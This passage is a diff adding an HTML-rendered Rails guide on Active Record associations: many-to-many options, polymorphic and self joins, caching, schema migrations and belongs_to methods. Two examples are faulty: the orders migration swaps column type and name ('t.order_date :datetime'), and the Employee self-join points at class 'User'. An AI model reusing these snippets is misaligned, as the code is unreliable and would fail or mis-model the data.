+    create_table <span style="color: #990000">:</span>accounts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+      t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>supplier_id
+      t<span style="color: #990000">.</span>string  <span style="color: #990000">:</span>account_number
+      t<span style="color: #990000">.</span>timestamps
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    drop_table <span style="color: #990000">:</span>accounts
+    drop_table <span style="color: #990000">:</span>suppliers
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Using <tt>t.integer :supplier_id</tt> makes the foreign key naming obvious and implicit. In current versions of Rails, you can abstract away this implementation detail by using <tt>t.references :supplier</tt> instead.</td>
+</tr></table>
+</div>
+<h3 id="_choosing_between_tt_has_many_through_tt_and_tt_has_and_belongs_to_many_tt">2.8. Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></h3>
+<div class="para"><p>Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use <tt>has_and_belongs_to_many</tt>, which allows you to make the association directly:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>parts
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The second way to declare a many-to-many relationship is to use <tt>has_many :through</tt>. This makes the association indirectly, through a join model:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>manifests
+  has_many <span style="color: #990000">:</span>parts<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>manifests
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Manifest <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>assembly
+  belongs_to <span style="color: #990000">:</span>part
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>manifests
+  has_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>through <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>manifests
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The simplest rule of thumb is that you should set up a <tt>has_many :through</tt> relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a <tt>has_and_belongs_to_many</tt> relationship (though you'll need to remember to create the joining table).</p></div>
+<div class="para"><p>You should use <tt>has_many :through</tt> if you need validations, callbacks, or extra attributes on the join model.</p></div>
+<h3 id="_polymorphic_associations">2.9. Polymorphic Associations</h3>
+<div class="para"><p>A slightly more advanced twist on associations is the <em>polymorphic association</em>. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Picture <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>imageable<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Employee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>pictures<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>imageable
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>pictures<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>imageable
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can think of a polymorphic <tt>belongs_to</tt> declaration as setting up an interface that any other model can use. From an instance of the <tt>Employee</tt> model, you can retrieve a collection of pictures: <tt>@employee.pictures</tt>. Similarly, you can retrieve <tt>@product.pictures</tt>. If you have an instance of the <tt>Picture</tt> model, you can get to its parent via <tt>@picture.imageable</tt>. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreatePictures <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    create_table <span style="color: #990000">:</span>pictures <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+      t<span style="color: #990000">.</span>string  <span style="color: #990000">:</span>name
+      t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>imageable_id
+      t<span style="color: #990000">.</span>string  <span style="color: #990000">:</span>imageable_type
+      t<span style="color: #990000">.</span>timestamps
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    drop_table <span style="color: #990000">:</span>pictures
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This migration can be simplified by using the <tt>t.references</tt> form:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreatePictures <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    create_table <span style="color: #990000">:</span>pictures <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+      t<span style="color: #990000">.</span>string  <span style="color: #990000">:</span>name
+      t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>imageable<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+      t<span style="color: #990000">.</span>timestamps
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    drop_table <span style="color: #990000">:</span>pictures
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p><span class="image">
+<img src="images/polymorphic.png" alt="Polymorphic Association Diagram" title="Polymorphic Association Diagram" />
+</span></p></div>
+<h3 id="_self_joins">2.10. Self Joins</h3>
+<div class="para"><p>In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as manager and subordinates. This situation can be modeled with self-joining associations:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Employee <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>subordinates<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"manager_id"</span>
+  belongs_to <span style="color: #990000">:</span>manager<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"User"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With this setup, you can retrieve <tt>@employee.subordinates</tt> and <tt>@employee.manager</tt>.</p></div>
+</div>
+<h2 id="_tips_tricks_and_warnings">3. Tips, Tricks, and Warnings</h2>
+<div class="sectionbody">
+<div class="para"><p>Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Controlling caching
+</p>
+</li>
+<li>
+<p>
+Avoiding name collisions
+</p>
+</li>
+<li>
+<p>
+Updating the schema
+</p>
+</li>
+<li>
+<p>
+Controlling association scope
+</p>
+</li>
+</ul></div>
+<h3 id="_controlling_caching">3.1. Controlling Caching</h3>
+<div class="para"><p>All of the association methods are built around caching that keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>customer<span style="color: #990000">.</span>orders                 <span style="font-style: italic"><span style="color: #9A1900"># retrieves orders from the database</span></span>
+customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size            <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
+customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>empty?          <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
+</tt></pre></div></div>
+<div class="para"><p>But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass <tt>true</tt> to the association call:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>customer<span style="color: #990000">.</span>orders                 <span style="font-style: italic"><span style="color: #9A1900"># retrieves orders from the database</span></span>
+customer<span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size            <span style="font-style: italic"><span style="color: #9A1900"># uses the cached copy of orders</span></span>
+customer<span style="color: #990000">.</span>orders<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">).</span>empty?    <span style="font-style: italic"><span style="color: #9A1900"># discards the cached copy of orders and goes back to the database</span></span>
+</tt></pre></div></div>
+<h3 id="_avoiding_name_collisions">3.2. Avoiding Name Collisions</h3>
+<div class="para"><p>You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of <tt>ActiveRecord::Base</tt>. The association method would override the base method and break things. For instance, <tt>attributes</tt> or <tt>connection</tt> are bad names for associations.</p></div>
+<h3 id="_updating_the_schema">3.3. Updating the Schema</h3>
+<div class="para"><p>Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things. First, you need to create foreign keys as appropriate:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This declaration needs to be backed up by the proper foreign key declaration on the orders table:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateOrders <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    create_table <span style="color: #990000">:</span>orders <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+      t<span style="color: #990000">.</span>order_date   <span style="color: #990000">:</span>datetime
+      t<span style="color: #990000">.</span>order_number <span style="color: #990000">:</span>string
+      t<span style="color: #990000">.</span>customer_id  <span style="color: #990000">:</span>integer
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    drop_table <span style="color: #990000">:</span>orders
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>If you create an association some time after you build the underlying model, you need to remember to create an <tt>add_column</tt> migration to provide the necessary foreign key.</p></div>
+<div class="para"><p>Second, if you create a <tt>has_and_belongs_to_many</tt> association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the <tt>:join_table</tt> option, Active Record create the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">The precedence between model names is calculated using the <tt>&lt;</tt> operator for <tt>String</tt>. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers".</td>
+</tr></table>
+</div>
+<div class="para"><p>Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Assembly <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>parts
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>These need to be backed up by a migration to create the <tt>assemblies_parts</tt> table. This table should be created without a primary key:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateAssemblyPartJoinTable <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    create_table <span style="color: #990000">:</span>assemblies_parts<span style="color: #990000">,</span> <span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+      t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>assembly_id
+      t<span style="color: #990000">.</span>integer <span style="color: #990000">:</span>part_id
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    drop_table <span style="color: #990000">:</span>assemblies_parts
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_controlling_association_scope">3.4. Controlling Association Scope</h3>
+<div class="para"><p>By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MyApplication
+  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Business
+    <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+       has_one <span style="color: #990000">:</span>account
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+    <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+       belongs_to <span style="color: #990000">:</span>supplier
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will work fine, because both the <tt>Supplier</tt> and the <tt>Account</tt> class are defined within the same scope. But this will not work, because <tt>Supplier</tt> and <tt>Account</tt> are defined in different scopes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MyApplication
+  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Business
+    <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+       has_one <span style="color: #990000">:</span>account
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Billing
+    <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+       belongs_to <span style="color: #990000">:</span>supplier
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To associate a model with a model in a different scope, you must specify the complete class name in your association declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> MyApplication
+  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Business
+    <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+       has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"MyApplication::Billing::Account"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Billing
+    <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+       belongs_to <span style="color: #990000">:</span>supplier<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"MyApplication::Business::Supplier"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_detailed_association_reference">4. Detailed Association Reference</h2>
+<div class="sectionbody">
+<div class="para"><p>The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.</p></div>
+<h3 id="_the_tt_belongs_to_tt_association_2">4.1. The <tt>belongs_to</tt> Association</h3>
+<div class="para"><p>The <tt>belongs_to</tt> association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use <tt>has_one</tt> instead.</p></div>
+<h4 id="_methods_added_by_tt_belongs_to_tt">4.1.1. Methods Added by <tt>belongs_to</tt></h4>
+<div class="para"><p>When you declare a <tt>belongs_to</tt> assocation, the declaring class automatically gains five methods related to the association:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt><em>association</em>(force_reload = false)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>association</em>=(associate)</tt>
+</p>
+</li>
+<li>
+<p>
+<tt><em>association</em>.nil?</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>build<em>_association</em>(attributes = {})</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>create<em>_association</em>(attributes = {})</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>belongs_to</tt>. For example, given the declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>customer
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Each instance of the order model will have these methods:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>customer
+customer<span style="color: #990000">=</span>
+customer<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+build_customer
+create_customer
+</tt></pre></div></div>
+<h5 id="_tt_em_association_em_force_reload_false_tt"><tt><em>association</em>(force_reload = false)</tt></h5>
+<div class="para"><p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>customer
+</tt></pre></div></div>
+<div class="para"><p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p></div>
+<h5 id="_tt_em_association_em_associate_tt"><tt><em>association</em>=(associate)</tt></h5>
+<div class="para"><p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@order</span><span style="color: #990000">.</span>customer <span style="color: #990000">=</span> <span style="color: #009900">@customer</span>
+</tt></pre></div></div>
+<h5 id="_tt_em_association_em_nil_tt"><tt><em>association</em>.nil?</tt></h5>
+<div class="para"><p>The <tt><em>association</em>.nil?</tt> method returns <tt>true</tt> if there is no associated object.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>customer<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+  <span style="color: #009900">@msg</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"No customer found for this order"</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h5 id="_tt_build_em_association_em_attributes_tt"><tt>build<em>_association</em>(attributes = {})</tt></h5>
+<div class="para"><p>The <tt>build<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>build_customer<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>customer_number <span style="color: #990000">=&gt;</span> <span style="color: #993399">123</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h5 id="_tt_create_em_association_em_attributes_tt"><tt>create<em>_association</em>(attributes = {})</tt></h5>
+<div class="para"><p>The <tt>create<em>_association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set. In addition, the associated object _will_ be saved (assuming that it passes any validations).</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@customer</span> <span style="color: #990000">=</span> <span style="color: #009900">@order</span><span style="color: #990000">.</span>create_customer<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>customer_number <span style="color: #990000">=&gt;</span> <span style="color: #993399">123</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>customer_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"John Doe"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h4 id="_options_for_tt_belongs_to_tt">4.1.2. Options for <tt>belongs_to</tt></h4>
+<div class="para"><p>In many situations, you can use the default behavior of <tt>belongs_to</tt> without any customization. But despite Rails' emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>belongs_to</tt> association. For example, an association with several options might look like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
